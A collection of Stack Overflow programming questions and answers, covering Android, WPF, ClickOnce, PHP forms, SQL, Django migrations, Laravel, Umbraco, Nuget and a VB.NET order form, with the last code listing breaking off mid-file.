9135181	0	 <p>an activity is not finished / destroyed on back pressed.</p> <p>Use </p> <pre><code> @Override public void onBackPressed() { finish(); } </code></pre>
21386882	0	 <p>I think you must ask google about the way they get their results, but I don't think that maps.google.com is a simple implementation of the Maps-API/Services.</p> <p>However, <a href="https://developers.google.com/places/documentation/search#TextSearchRequests" rel="nofollow">textSearch</a> will give you the result: <a href="https://maps.googleapis.com/maps/api/place/textsearch/json?key=yourKey&amp;sensor=false&amp;radius=50000&amp;location=40.338254%2C-74.585292&amp;query=storybook+land" rel="nofollow">https://maps.googleapis.com/maps/api/place/textsearch/json?key=yourKey&amp;sensor=false&amp;radius=50000&amp;location=40.338254%2C-74.585292&amp;query=storybook+land</a></p>
23519427	0	 <p>I finally found a solution.</p> <p>the command <strong><code>vdir -lib $lib -prop dpnd $entity</code></strong> returns you something like this:</p> <pre><code> data: ENTITY E1 # Depends on: P ieee std_logic_unsigned RYmj:=TK`k=k&gt;D@Cz`zoB3 # Depends on: P ieee std_logic_arith 4`Y?g_lldn;7UL9IiJck01 # Depends on: P std textio 5&gt;J:;AW&gt;W1[[dW0I6EN1Q0 # Depends on: P ieee std_logic_1164 5=aWaoGZSMWIct0i^f`XF1 # ARCHITECTURE BODY rtl # Depends on: E L2 E2 3B3&gt;6RbjY07ohgTgj&lt;M4r0 # Depends on: E L3 E3 5?a[d8Ikz7&gt;zWX`U97gNE2 # Depends on: P ieee std_logic_unsigned RYMj;=TK`k=k&gt;C@Cz`zoB3 # Depends on: P ieee std_logic_arith 7`F?g_lkdn;7UL9IiJck01 # Depends on: P std textio 5&gt;J:;AW&gt;w0[[dW0I6EN1Q0 # Depends on: P ieee std_logic_1164 5=aWboGZSMlIcH0i^f`XF1 # Depends on: E work E1 ;4e7E?eQ@DHPeB&gt;5WUDQK3 </code></pre> <p>P stands for package and E for Entity. So you can use regular expressions (like me in the extracting function) to extract the data you want.</p> <pre><code> proc get_dependency_list_of_entity { lib entity } { set vdir_data [ vdir -lib $lib -prop dpnd $entity ] set match [extracting $vdir_data "^ *Depends on: (.+)"] ... } ... } </code></pre> <p>As I mentioned already in the question: There are ways to get the library of an entity with vdir and also with <code>write report -tcl</code></p>
13888765	0	Liking my page on Facebook shows the wrong image <p>I've just updated my site to include og: tags and add Facebook like buttons, twitter buttons, etc. However, when I click the Like button and then go look at my Facebook profile, the image used is wrong.</p> <p>This is the page on my site I'm referring to: <a href="http://www.inadaydevelopment.com/app/android/10bii-financial-calculator" rel="nofollow noreferrer">http://www.inadaydevelopment.com/app/android/10bii-financial-calculator</a></p> <p>My <code>&lt;head&gt;</code> tag includes the following <code>og:image</code> tags:</p> <pre><code>&lt;meta property="og:image" content="http://www.inadaydevelopment.com/sites/default/files/app-10biiFinancialCalculator-Android-1-AmortizationSchedule.png"&gt; &lt;meta property="og:image" content="http://www.inadaydevelopment.com/sites/default/files/app-10biiFinancialCalculator-Android-2-CashFlowDiagram-Landscape.png"&gt; &lt;meta property="og:image" content="http://www.inadaydevelopment.com/sites/default/files/app-10biiFinancialCalculator-Android-4-Equation.png"&gt; &lt;meta property="og:image" content="http://www.inadaydevelopment.com/sites/default/files/app-10biiFinancialCalculator-Android-6-UnevenCashflowsNPV.png"&gt; &lt;meta property="og:image" content="http://www.inadaydevelopment.com/sites/default/files/app-10biiFinancialCalculator-Icon.png"&gt; </code></pre> <p>However, the image being shown on my Facebook profile is the little twitter icon I have in the sidebar which links to my twitter account:</p> <p><img src="https://i.stack.imgur.com/pHny7.png" alt="enter image description here"></p> <p>When I look at the Facebook Debugger for my url, it shows the images that I have listed above in the og:image tags:</p> <p><img src="https://i.stack.imgur.com/iV4Cu.png" alt="enter image description here"></p> <p>Why is Facebook grabbing the twitter icon out of my sidebar instead of using the og:image tags? </p>
33397365	0	android duplicate provider authority on apps that don't have provider <p>I have 7 apps on store, but when I try to install 3 of them I get duplicate provider authority error on the second of these 3 that I try to install.</p> <p>none of my apps have provider in manifest...</p> <p>any idea?</p>
9521567	0	convert a Matlab code into C code <p>I'm trying to understand and learn the C language, and since I used to work in Matlab, I'm interested in knowing how this code would be converted into C. </p> <pre><code>for j=1:n v=A(:,j); for i=1:j-1 R(i,j)=Q(:,i)'*A(:,j); v=v-R(i,j)*Q(:,i); end R(j,j)=norm(v); Q(:,j)=v/R(j,j); end </code></pre>
35908551	0	 <p>The answer was increadibly simple, thanks for the reference to <code>ICollectionViewLiveShaping.IsLiveSortin</code> from @KornMuffin. </p> <p><a href="https://msdn.microsoft.com/en-us/library/system.componentmodel.icollectionviewliveshaping.islivesorting(v=vs.110).aspx" rel="nofollow">https://msdn.microsoft.com/en-us/library/system.componentmodel.icollectionviewliveshaping.islivesorting(v=vs.110).aspx</a></p> <p>Here were my steps to implement and resolve this.</p> <p>In my AlarmView.xaml code behind I added a static variable that contains the instance of the AlarmView that is created.</p> <p>Here is the constructor of the AlarmView</p> <pre><code>public partial class AlarmsView : UserControl { public static AlarmsView View; public AlarmsView() { InitializeComponent(); View = this; this.DataContext = new ViewModel.AlarmsViewModel(); } } </code></pre> <p>I created the static view because I need access to the datagrid from the ViewModel for an event (will get to this in a moment)</p> <p>In the AlarmViewModel.cs there is the <code>ObservableCollection</code></p> <pre><code> public CollectionViewSource ViewSource { get; set; } public ObservableCollection&lt;Model.AlarmItem&gt; Collection { get; set; } </code></pre> <p>Then, in the constructor of the <code>AlarmViewModel</code>, I instantiated the <code>ObservableCollection</code> and using <code>ICollectionViewLiveShaping</code> set the <code>.IsLiveSorting</code> to true. Here, I also make use of the static variable created in the AlarmView code behind to gain access to the datagrid so we can hook into the <code>.Sorting</code> event.</p> <pre><code> public AlarmsViewModel() { if (_alarmItemRepository == null) _alarmItemRepository = new AlarmItemRepository(); this.Collection = new ObservableCollection&lt;Model.AlarmItem&gt;(_alarmItemRepository.GetAlarmItems()); ICollectionView collectionView = CollectionViewSource.GetDefaultView(this.Collection); collectionView.SortDescriptions.Add(new SortDescription("NextSpawn", ListSortDirection.Ascending)); var view = (ICollectionViewLiveShaping)CollectionViewSource.GetDefaultView(this.Collection); view.IsLiveSorting = true; // Bind to the sorting event of the datagrid in the AlarmView AlarmsView.View.dgAlarms.Sorting += DgAlarms_Sorting; // Other code // ... // ... } </code></pre> <p>Then, in the sorting event handling, we update the sort description when a user clicks a column header to sort the column.</p> <pre><code> private void DgAlarms_Sorting(object sender, DataGridSortingEventArgs e) { ICollectionView collectionView = CollectionViewSource.GetDefaultView(this.Collection); collectionView.SortDescriptions.Add(new SortDescription(e.Column.SortMemberPath, e.Column.SortDirection.GetValueOrDefault())); } </code></pre>
5800039	0	 <p>It's so easy, just call <a href="http://msdn.microsoft.com/en-us/library/system.data.datatable.readxml.aspx" rel="nofollow">DataTable.ReadXml</a></p>
2576426	0	 <p>On the irony side, I am currently updating the SCSF documentation for ClickOnce deployment for .NET 4.0, and now I know exactly what the problem it. </p> <p>First, you want to publish to a disk location, not directly to the webserver. So do that, and then copy the dll's you want to add to the deployment into the version folder with the application manifest (.manifest). Rename them yourself -- just add .deploy on the end.</p> <p>Bring up MageUI and open the application manifest in that folder, then uncheck the box that says "add .deploy to the file names". Click "populate". </p> <p>Then remove the deployment manifest from the list; it's called something like appname.application. You don't want it to be included in the manifest's list of files. </p> <p>Now you can save and sign the application manifest. Then without exiting mageUI, open the deployment manifest that is in the root folder (<em>NOT</em> the one in the version folder). Click on "Application Reference", then click Select Manifest. Dig down to the application manifest in the version folder that you just signed and select it. Then just save and sign the deployment manifest. It puts a relative path in there, so if you modify the .application file in the version folder, it won't work right when deployed. </p> <p>Now take that .application file from the root folder and copy it into the version folder (replacing the one that's there) so you have the right copy for that version in case you need it later. </p> <p>Now copy the whole shebang out to the webserver. it should work.</p>
15785214	0	 <p>I found a compatibility <a href="https://github.com/BoD/android-switch-backport" rel="nofollow">solution</a> that you could try.</p>
7528341	0	xsel for windows equivalent API or command line? <p>Is there an API or command line utility that returns the currently selected text from either active window or even globally, like the linux utility "xsel" ?</p> <ul> <li>I don't mind getting less than 100% success.</li> <li>i know that each window can have its own text selection, but it's negligible for now.</li> <li>For now the only solution/workaround i have is to sendkeys "ctrl+c" and read from clipboard, but that's bad solution for 2 obvious reasons. </li> <li>I know how to do it on MS-Word, but that's 1% of the cases.</li> </ul> <p>thanks</p> <p><strong>edit</strong></p> <p>From <a href="http://www.experts-exchange.com/Programming/Languages/Visual_Basic/VB_Controls/Q_21607824.html" rel="nofollow">this discussion</a> i learn that there are too many technologies to select text. so i'll fall back to using clipboard. thanks anyway. </p> <p>i'm leaving this question open for a while in case somebody have a miracle.</p>
8961558	0	unable to get the value of the text field with the help of respective checkboxes. please help <p>I've a doubt. I've 3 textboxes and each is having checkboxes next to it. I want to display the values of only those textboxes whose respective checkboxes are clicked. Following is the attached HTML and PHP codes:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt; &lt;form name="f" method="post" action="4.php"&gt; &lt;table&gt; &lt;tr&gt; &lt;th&gt; Facility &lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;input type="text" name="a1" value="a"&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="checkbox" id="facility[]" name="facility[]" value="Hostel"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;input type="text" name="b1" value="b"&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="checkbox" id="facility[]" name="facility[]" value="Transport"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;input type="text" name="c1" value="c"&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="checkbox" id="facility[]" name="facility[]" value="Food"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3"&gt;&lt;input type="submit" value="submit" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>and below is the PHP part.</p> <pre><code>&lt;?php $a=$_POST['a1']; $b=$_POST['b1']; $c=$_POST['c1']; $facilityArray = $_POST['facility']; $facility = ""; if(count($facilityArray) &gt; 0) { foreach($facilityArray as $fac) { $facility .= " " . $fac; } } echo $facility; echo "&lt;br&gt;"; echo $a; echo "&lt;br&gt;"; echo $b; echo "&lt;br&gt;"; echo $c; ?&gt; </code></pre> <p>With the help of following codes I am able to display all the values of checked checkboxes. I am also able to display the values of all the textboxes. But I actually want to display the values of only those textboxes whose respective checkboxes are clicked. I know it may be a very basic question but please help me grow in PHP. Thanks in advance... :(</p>
28138577	0	 <p>If I understand correctly, you can do this with conditional aggregation. Just find the minimum and maximum prices in a subquery, and then pull the data out for those:</p> <pre><code> SELECT b.brand_name, minmax.price_max, max(case when m.price = minmax.price_max then m.product_id end) as max_product_id, max(case when m.price = minmax.price_max then m.name end) as max_name, minmax.price_min, max(case when m.price = minmax.price_min then m.product_id end) as min_product_id, max(case when m.price = minmax.price_min then m.name end) as min_name FROM model m INNER JOIN series s ON s.series_id = m.series_id INNER JOIN brand b ON b.brand_id = s.brand_id INNER JOIN (SELECT m.product_id, m.name, MIN(m.price) AS price_min, MAX(m.price) AS price_max FROM model m ) minmax ON m.price IN (minmax.price_min, minmax.proc_max) AND minmax.product_id = m.product_id GROUP BY b.brand_id </code></pre> <p>Note if there are multiple products with the same minimum or maximum price, this pulls out an arbitrary one. You can get all of them by using <code>group_concat()</code> instead of <code>max()</code>.</p>
22931813	0	 <p>I guess you need this one,</p> <pre><code>UPDATE [Table] SET Active = 1, Subscribed = 1, RenewDate = GETDATE(), EndDate = DATEADD(mm,1,getdate()) OUTPUT INSERTED.TABLE_PrimaryKeyID WHERE SC = @SC AND Service = @Ser </code></pre> <p>Main source: <a href="http://stackoverflow.com/questions/1610509/getting-the-id-of-a-row-i-updated-in-sql-server">here</a></p>
40189478	0	Training Time for Eigenfaces using Opencv c++ <p>I'm currently training a database of Eigenfaces using Opencv. I have 50 persons in my database with 250 pictures each, and I use all Eigenfaces and its been 2 days since I started training and it still is not finished. How long should I still wait? and is 250 for each person too much? </p> <p>Any information will be much appreciated! Thanks!</p>
37923173	0	 <p>I came across the same issue when I did all the setup and run for django with Python3 but ran the following command:</p> <pre><code>$ python manage.py migrate </code></pre> <p>fixed the issue by using a consistent version of Python:</p> <pre><code>$ python3 manage.py migrate Operations to perform: Apply all migrations: sessions, auth, admin, contenttypes Running migrations: Rendering model states... DONE Applying contenttypes.0001_initial... OK Applying auth.0001_initial... OK Applying admin.0001_initial... OK Applying admin.0002_logentry_remove_auto_add... OK Applying contenttypes.0002_remove_content_type_name... OK Applying auth.0002_alter_permission_name_max_length... OK Applying auth.0003_alter_user_email_max_length... OK Applying auth.0004_alter_user_username_opts... OK Applying auth.0005_alter_user_last_login_null... OK Applying auth.0006_require_contenttypes_0002... OK Applying auth.0007_alter_validators_add_error_messages... OK Applying sessions.0001_initial... OK </code></pre> <p>Other commands I ran before this were:</p> <pre><code>python3 -m pip install django django-admin startproject learning_site python3 manage.py runserver 0.0.0.0:8000 </code></pre>
4548504	0	 <p>You can use this function to get query string value:</p> <pre><code>function getParameterByName( name ) { name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]"); var regexS = "[\\?&amp;]"+name+"=([^&amp;#]*)"; var regex = new RegExp( regexS ); var results = regex.exec( window.location.href ); if( results == null ) return ""; else return decodeURIComponent(results[1].replace(/\+/g, " ")); } </code></pre> <p><strong>Example:</strong></p> <pre><code>var param = getParameterByName('yourVar'); </code></pre>
32541629	0	 <p>You could do it either inside the controller itself:</p> <pre><code>public function update(Request $request) { // Get the current users IP address and add it to the request $request-&gt;merge(['ip_address' =&gt; $_SERVER['REMOTE_ADDR']]); // Validate the IP address contained inside the request $this-&gt;validate($request, [ 'ip_address' =&gt; 'required|ip' ]); } </code></pre> <p>The <code>$request-&gt;merge()</code> method will allow you to add items to the form request, and then you can just make a simple validate request on the IP only.</p> <p>Alternatively, you could move all this to it's own Request class and inject that into the method.</p>
20131248	0	How to edit header.tpl in CMS Made Simple <p>I am new in CMS Made Simple and I need to edit header.tpl file. I found the file location here tmp/templates/header.tpl but when I do any change in this file, it does not affect anything at frontend.</p> <p>I need the help to edit header.tpl file. </p>
8367728	0	iphone : How to keep 3G/GPRS preferred network in presence of Wifi? <p>I am developing an application that communicates (UDP communication) with our server remotely through 3G/GPRS. As we have to establish serial communication with a digital device and our application through Wifi.</p> <p>Now the problem is that when application connects with wifi it rejects 3G/GPRS and tries to find internet connectivity on wifi which it could not and as a result it lost connection with server.</p> <p>Now I want to know that how can I keep my connection with 3G/GPRS and as well as with Wifi so that I could communication both with the server through internet (3G/GPRS) and with the device through wifi.</p> <p>(Wifi does not have Internet at the moment as the application is using remotely in a Cab/Taxi)</p>
39120995	0	Some problems with android listview <p>I am trying to make some practice about android <code>ListView</code>. Code bellow is in a<br> <code>listfragment</code>:</p> <pre><code>public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState){ View view= inflater.inflate(R.layout.frag_getfriends,container,false); friendsListView=(ListView)view.findViewById(android.R.id.list); infoTextView=(TextView)view.findViewById(android.R.id.empty); swipe=(SwipeRefreshLayout)view.findViewById(R.id.swipe_refresh); swipe.setOnRefreshListener(this); arrayAdapter=new DataListAdapter(getActivity(),R.layout.userinfo_list_config,null); friendsListView.setAdapter(arrayAdapter); friendsListView.setOnItemClickListener((parent,itemView,position,id)-&gt;{ if(friends!=null){ User friend=friends.get(position); Toast.makeText(getActivity(),friend.getName(),Toast.LENGTH_SHORT).show(); } }); presenter.startQuery(true); return view; } </code></pre> <p><code>Adapter</code> constructor is:</p> <pre><code> public DataListAdapter(Context context, int itemLayoutResoureId, ArrayList&lt;User&gt;friends){ super(context,itemLayoutResoureId,friends); this.context=context; this.users=new ArrayList&lt;&gt;(); users.addAll(friends); } </code></pre> <p>At the beginning,the <code>listview</code> has no data to display until this app fetches some data online:</p> <pre><code>@Override public void setDataList(ArrayList&lt;User&gt; friendsList) { this.friends=friendsList; arrayAdapter.clear(); arrayAdapter.addAll(friendsList); arrayAdapter.notifyDataSetChanged(); friendsListView.setAdapter(arrayAdapter); } </code></pre> <p>Later I can do some refresh.And each refresh happenes,the callback</p> <pre><code>setDataList </code></pre> <p>is fired and <code>listview</code> get updated. However,the app crashed. Logcat shows:</p> <pre><code> java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.mrdreamer.iknow/com.example.mrdreamer.iknow.Social.GetFriends}: java.lang.NullPointerException: Attempt to invoke interface method 'java.lang.Object[] java.util.Collection.toArray()' on a null object reference at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2416) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2476) at android.app.ActivityThread.-wrap11(ActivityThread.java) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) Caused by: java.lang.NullPointerException: Attempt to invoke interface method 'java.lang.Object[] java.util.Collection.toArray()' on a null object reference at java.util.ArrayList.addAll(ArrayList.java:188) at com.example.mrdreamer.iknow.Social.DataListAdapter.&lt;init&gt;(DataListAdapter.java:35) at com.example.mrdreamer.iknow.Social.GetFriendsFrag.onCreateView(GetFriendsFrag.java:42) at android.app.Fragment.performCreateView(Fragment.java:2220) at android.app.FragmentManagerImpl.moveToState(FragmentManager.java:973) at android.app.FragmentManagerImpl.moveToState(FragmentManager.java:1148) at android.app.BackStackRecord.run(BackStackRecord.java:793) at android.app.FragmentManagerImpl.execPendingActions(FragmentManager.java:1535) at android.app.FragmentController.execPendingActions(FragmentController.java:325) at android.app.Activity.performStart(Activity.java:6252) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2379) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2476) at android.app.ActivityThread.-wrap11(ActivityThread.java) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) </code></pre> <p>The problem is that in:</p> <pre><code>arrayAdapter=new DataListAdapter(getActivity(),R.layout.userinfo_list_config,null); </code></pre> <p>the last parameter cannot be null,which I understand. Now should I change to SimpleCursorAdapter or just make some change to current code? :) Thank you in advance.I am new to android developement.I am be very gratefull.:)</p>
38693408	0	 <p>Just make the average of the percentages:</p> <pre><code>=AVERAGE(B1:B7) </code></pre>
32834646	0	 <p>You can use <code>NOT EXISTS</code> to exclude holidays:</p> <pre><code>SELECT * FROM time_dimension ti WHERE NOT EXISTS(SELECT 1 FROM tbl_holidays WHERE startdate = ti.db_date) AND day_name IN ('Monday','Tuesday','Wednesday','Thursday','Friday'); </code></pre>
33270235	0	 <p>Let me try a few suggestions in hopes that you can let us know what you are experiencing...</p> <blockquote> <p>On the template are you using an inline macro (i.e. - calling the content using <code>@Model.bodyContent</code>) or,</p> <p>Are you calling the umbraco field with <code>&lt;umbraco:Item field="bodyContent" runat="server" /&gt;</code></p> <p>If you are calling the value from within a macro, try wrapping the output in <code>@Html.Raw(bodyContent)</code></p> <p>Secondly, try using the form picker datatype that comes with Contour. Add it to your doctype and render the form using the RenderMacroContent method. If you need the full script to get this working let me know in reply, but this link (<a href="https://our.umbraco.org/wiki/reference/umbracolibrary/rendermacrocontent" rel="nofollow">https://our.umbraco.org/wiki/reference/umbracolibrary/rendermacrocontent</a>) should help.</p> </blockquote> <p>Finally, check the contour files and edit the <em>ContourForm.cshtml</em> file. Try using <code>@Html.Raw()</code> around the <code>@f.Caption</code> output within the <code>&lt;label&gt;</code> tag.</p> <p>It is hard to be too specific without some additional clues and troubleshooting, but this is where I would start. Any additional information you can provide will allow me to edit my answer and provide more assistance.</p>
974644	0	 <p>I haven't tried it yet, but <a href="http://www.svnmonitor.com/" rel="nofollow noreferrer">SVN-Monitor</a> might be useful. You will need ToirtoiseSVN client mentioned above to work with it.</p>
2059665	0	Why can't I forward-declare a class in a namespace like this? <pre><code>class Namespace::Class; </code></pre> <p>Why do I have to do this?:</p> <pre><code>namespace Namespace { class Class; } </code></pre> <p>Using VC++ 8.0, the compiler issues:</p> <blockquote> <p>error C2653: 'Namespace' : is not a class or namespace name</p> </blockquote> <p>I assume that the problem here is that the compiler cannot tell whether <code>Namespace</code> is a class or a namespace? But why does this matter since it's just a forward declaration?</p> <p>Is there another way to forward-declare a class defined in some namespace? The syntax above feels like I'm "reopening" the namespace and extending its definition. What if <code>Class</code> were not actually defined in <code>Namespace</code>? Would this result in an error at some point?</p>
6064943	0	Nuget package not adding reference on custom package <p>I created a nuspec file:</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd"&gt; &lt;metadata&gt; &lt;id&gt;MyPackage.dll&lt;/id&gt; &lt;version&gt;3.5&lt;/version&gt; &lt;authors&gt;Me&lt;/authors&gt; &lt;owners&gt;Me&lt;/owners&gt; &lt;requireLicenseAcceptance&gt;false&lt;/requireLicenseAcceptance&gt; &lt;description&gt;The description&lt;/description&gt; &lt;tags&gt;tag1&lt;/tags&gt; &lt;/metadata&gt; &lt;/package&gt; </code></pre> <p>In a directory with the file strucutre</p> <blockquote> <ul> <li>MyPackage <ul> <li>Assemblies <ul> <li>MyPackage.dll</li> </ul></li> <li>MyPackage.nuspec</li> </ul></li> </ul> </blockquote> <p>I created my package using <code>nuget.exe pack myPackage.nuspec</code> and placed it in my local sources. I can find and install it from visual studio at which point </p> <ul> <li>The dll is copied into the packages directory</li> <li>But the reference is not added to the project</li> <li>No repositories.config is created</li> <li>No packages.config is created</li> </ul> <p>What am I missing?</p>
32911844	0	 <p>I made some assumptions on your UI. Rather than placing the items as radio buttons in a <code>ComboBox</code>, I placed all of the doughnuts and coffees into a respective <code>GroupBox</code>. The concepts of this answer will still apply, however you'll just have to be mindful that this is not directly drop-in and go. </p> <p>Here's the way I laid out the UI:</p> <p><a href="https://i.stack.imgur.com/DyIQs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DyIQs.png" alt="UI Layout"></a></p> <p>I have placed the <code>RadioButton</code>s for the items inside a <code>FlowLayoutPanel</code> inside of a <code>GroupBox</code>. I also placed labels into a TableLayoutPanel to provide the total amounts. </p> <p>The most important part is how I named the <code>RadioButton</code> controls for the items being listed. In the code behind file I used the names of the <code>RadioButton</code> controls to check which Item was being modified. I could have populated the <code>RadioButton</code> controls at run time to ensure that everything lined up, but that was more work and it's not difficult to do if you use <code>GetType(MyEnum).GetNames()</code> in the <code>Me.Load</code> event of the form to create new <code>RadioButtons</code> with the correct name, text, and adding the proper event handlers to the radio buttons.</p> <p>If you'd like to see how this works, add a new form to your Project and call it DoughnutsAndCoffee. Here is the designer file and the Code behind:</p> <p>Code Behind:</p> <pre><code>Public Class DoughnutsAndCoffee Private SelectedItems As New List(Of Items) Public Event ItemsChanged() Public Sub UpdateTotal() Handles Me.ItemsChanged Dim subTotal As Decimal = 0D For Each item As Items In SelectedItems subTotal += Prices.GetPrice(item) Next Dim TaxTotal As Decimal = subTotal * Prices.Tax_Rate Dim total As Decimal = subTotal + TaxTotal Me.SubTotal_Label.Invoke(Sub() Me.SubTotal_Label.Text = subTotal.ToString("C2")) Me.Tax_Label.Invoke(Sub() Me.Tax_Label.Text = TaxTotal.ToString("C2")) Me.Total_Label.Invoke(Sub() Me.Total_Label.Text = total.ToString("C2")) End Sub Private Sub RadioButton_CheckedChanged(sender As Object, e As EventArgs) Handles Cappuccino_RadioButton.CheckedChanged, Chocolate_RadioButton.CheckedChanged, Filled_RadioButton.CheckedChanged, Glazed_RadioButton.CheckedChanged, Regular_RadioButton.CheckedChanged, Sugar_RadioButton.CheckedChanged Dim senderRB As RadioButton = DirectCast(sender, RadioButton) Dim selectedItem As String = (From item As String In GetType(Items).GetEnumNames Where senderRB.Name.Contains(item) Select item).FirstOrDefault If selectedItem &lt;&gt; String.Empty Then Dim Item As Items = DirectCast([Enum].Parse(GetType(Items), selectedItem), Items) If senderRB.Checked Then Me.SelectedItems.Add(Item) RaiseEvent ItemsChanged() Else If Me.SelectedItems.Contains(Item) Then Me.SelectedItems.Remove(Item) RaiseEvent ItemsChanged() End If End If End If End Sub Private Sub DoughnutsAndCoffee_Shown(sender As Object, e As EventArgs) Handles Me.Shown RaiseEvent ItemsChanged() End Sub End Class Public Structure Prices Public Const Tax_Rate As Decimal = 0.03D Public Const Glazed As Decimal = 0.65D Public Const Sugar As Decimal = 0.65D Public Const Chocolate As Decimal = 0.85D Public Const Filled As Decimal = 1D Public Const Regular As Decimal = 1D Public Const Cappuccino As Decimal = 2.5D Public Shared Function GetPrice(item As Items) As Decimal Dim itemStr As String = [Enum].GetName(GetType(Items), item) Return GetType(Prices).GetField(itemStr).GetValue(Nothing) End Function End Structure Public Enum Items Glazed Sugar Chocolate Filled Regular Cappuccino End Enum </code></pre> <p>Designer File:</p> <pre><code>&lt;Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()&gt; _ Partial Class DoughnutsAndCoffee Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. &lt;System.Diagnostics.DebuggerNonUserCode()&gt; _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. &lt;System.Diagnostics.DebuggerStepThrough()&gt; _ Private Sub InitializeComponent() Me.Glazed_RadioButton = New System.Windows.Forms.RadioButton() Me.Sugar_RadioButton = New System.Windows.Forms.RadioButton() Me.Chocolate_RadioButton = New System.Windows.Forms.RadioButton() Me.Filled_RadioButton = New System.Windows.Forms.RadioButton() Me.Regular_RadioButton = New System.Windows.Forms.RadioButton() Me.Cappuccino_RadioButton = New System.Windows.Forms.RadioButton() Me.TableLayoutPanel1 = New System.Windows.Forms.TableLayoutPanel() Me.Total_Label = New System.Windows.Forms.Label() Me.Label5 = New System.Windows.Forms.Label() Me.Tax_Label = New System.Windows.Forms.Label() Me.Label3 = New System.Windows.Forms.Label() Me.SubTotal_Label = New System.Windows.Forms.Label() Me.Label1 = New System.Windows.Forms.Label() Me.FlowLayoutPanel2 = New System.Windows.Forms.FlowLayoutPanel() Me.FlowLayoutPanel1 = New System.Windows.Forms.FlowLayoutPanel() Me.Coffee_GroupBox = New System.Windows.Forms.GroupBox() Me.Doughnuts_GroupBox = New System.Windows.Forms.GroupBox() Me.TableLayoutPanel1.SuspendLayout() Me.FlowLayoutPanel2.SuspendLayout() Me.FlowLayoutPanel1.SuspendLayout() Me.Coffee_GroupBox.SuspendLayout() Me.Doughnuts_GroupBox.SuspendLayout() Me.SuspendLayout() ' 'Glazed_RadioButton ' Me.Glazed_RadioButton.AutoSize = True Me.Glazed_RadioButton.Location = New System.Drawing.Point(3, 3) Me.Glazed_RadioButton.Name = "Glazed_RadioButton" Me.Glazed_RadioButton.Size = New System.Drawing.Size(58, 17) Me.Glazed_RadioButton.TabIndex = 9 Me.Glazed_RadioButton.Text = "Glazed" Me.Glazed_RadioButton.UseVisualStyleBackColor = True ' 'Sugar_RadioButton ' Me.Sugar_RadioButton.AutoSize = True Me.Sugar_RadioButton.Location = New System.Drawing.Point(3, 26) Me.Sugar_RadioButton.Name = "Sugar_RadioButton" Me.Sugar_RadioButton.Size = New System.Drawing.Size(53, 17) Me.Sugar_RadioButton.TabIndex = 10 Me.Sugar_RadioButton.Text = "Sugar" Me.Sugar_RadioButton.UseVisualStyleBackColor = True ' 'Chocolate_RadioButton ' Me.Chocolate_RadioButton.AutoSize = True Me.Chocolate_RadioButton.Location = New System.Drawing.Point(3, 49) Me.Chocolate_RadioButton.Name = "Chocolate_RadioButton" Me.Chocolate_RadioButton.Size = New System.Drawing.Size(73, 17) Me.Chocolate_RadioButton.TabIndex = 11 Me.Chocolate_RadioButton.Text = "Chocolate" Me.Chocolate_RadioButton.UseVisualStyleBackColor = True ' 'Filled_RadioButton ' Me.Filled_RadioButton.AutoSize = True Me.Filled_RadioButton.Location = New System.Drawing.Point(3, 72) Me.Filled_RadioButton.Name = "Filled_RadioButton" Me.Filled_RadioButton.Size = New System.Drawing.Size(49, 17) Me.Filled_RadioButton.TabIndex = 12 Me.Filled_RadioButton.Text = "Filled" Me.Filled_RadioButton.UseVisualStyleBackColor = True ' 'Regular_RadioButton ' Me.Regular_RadioButton.AutoSize = True Me.Regular_RadioButton.Location = New System.Drawing.Point(3, 3) Me.Regular_RadioButton.Name = "Regular_RadioButton" Me.Regular_RadioButton.Size = New System.Drawing.Size(62, 17) Me.Regular_RadioButton.TabIndex = 13 Me.Regular_RadioButton.Text = "Regular" Me.Regular_RadioButton.UseVisualStyleBackColor = True ' 'Cappuccino_RadioButton ' Me.Cappuccino_RadioButton.AutoSize = True Me.Cappuccino_RadioButton.Location = New System.Drawing.Point(3, 26) Me.Cappuccino_RadioButton.Name = "Cappuccino_RadioButton" Me.Cappuccino_RadioButton.Size = New System.Drawing.Size(82, 17) Me.Cappuccino_RadioButton.TabIndex = 14 Me.Cappuccino_RadioButton.Text = 